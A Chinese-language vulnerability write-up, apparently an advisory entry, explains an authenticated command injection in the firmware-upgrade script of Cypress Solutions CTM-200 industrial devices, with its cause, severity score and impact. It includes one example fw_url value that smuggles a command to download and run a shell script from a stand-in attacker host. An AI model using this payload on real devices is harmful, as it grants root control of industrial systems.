CVE-2021-47745CVE-2021-47745是Cypress Solutions公司生产的CTM-200设备中存在的一个高危命令注入漏洞。该漏洞存在于设备的固件升级功能中,具体位于ctm-config-upgrade.sh脚本。攻击者通过利用固件升级功能中的fw_url参数,可以在已认证的情况下注入任意Shell命令,并以root权限在目标系统上执行。
CTM-200是一款广泛应用于工业控制系统的设备,其固件升级功能本意是为了方便管理员更新设备固件。然而,由于该功能对用户输入的fw_url参数缺乏充分的输入验证和过滤,攻击者可以通过构造恶意构造的URL参数,在参数值中嵌入Shell命令。当设备执行固件升级脚本时,这些恶意命令将与合法命令一起被传递给系统的命令解释器(通常是bash或sh),从而实现任意代码执行。
由于该漏洞需要认证才能利用,因此主要威胁来自于内部人员或已获取有效凭证的攻击者。一旦成功利用,攻击者可以完全控制目标设备,访问敏感数据,修改设备配置,甚至将恶意代码持久化到设备中。此外,攻击者还可以利用被入侵的设备作为跳板,进一步渗透内网中的其他系统。
该漏洞的CVSS评分达到8.8分,属于高危漏洞。攻击向量为网络形式,无需用户交互,攻击复杂度较低,但需要低权限认证。漏洞对机密性、完整性和可用性都造成严重影响,CVSS向量为CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H。建议受影响的用户尽快升级到安全版本或采取临时缓解措施。
该漏洞的根本原因在于ctm-config-upgrade.sh脚本对fw_url参数的处理方式存在安全缺陷。脚本在接收用户提供的固件下载URL后,直接将该参数的值传递给系统命令执行函数,而没有进行充分的输入验证和命令隔离。
具体来说,当管理员通过Web界面或其他方式触发固件升级功能时,设备会调用ctm-config-upgrade.sh脚本。该脚本通常会执行类似以下操作:使用curl或wget等工具根据fw_url参数指定的地址下载固件文件,然后进行验证和升级。然而,由于缺少参数转义或安全的参数传递机制,攻击者可以在fw_url参数中插入Shell元字符和命令。
例如,攻击者可以构造如下的fw_url值:
http://attacker.com/firmware.bin; wget http://attacker.com/shell.sh && chmod +x shell.sh && ./shell.sh
当脚本执行wget命令时,由于fw_url参数未经安全处理,分号后的命令将被作为独立命令执行。类似地,攻击者还可以使用管道符(|)、反引号($())等Shell语法来注入任意命令。
由于固件升级脚本通常以root权限运行,注入的命令也将以root权限执行,从而实现完全的系统控制。攻击者可以利用这一点安装后门、修改系统配置、窃取敏感数据或建立持久化控制通道。
该漏洞的利用条件包括:攻击者需要拥有目标设备的有效认证凭证,且能够访问设备的固件升级功能界面。在成功利用后,攻击者可以获得设备的完全控制权,且这种控制具有持久性,即使设备重启后仍可能保持。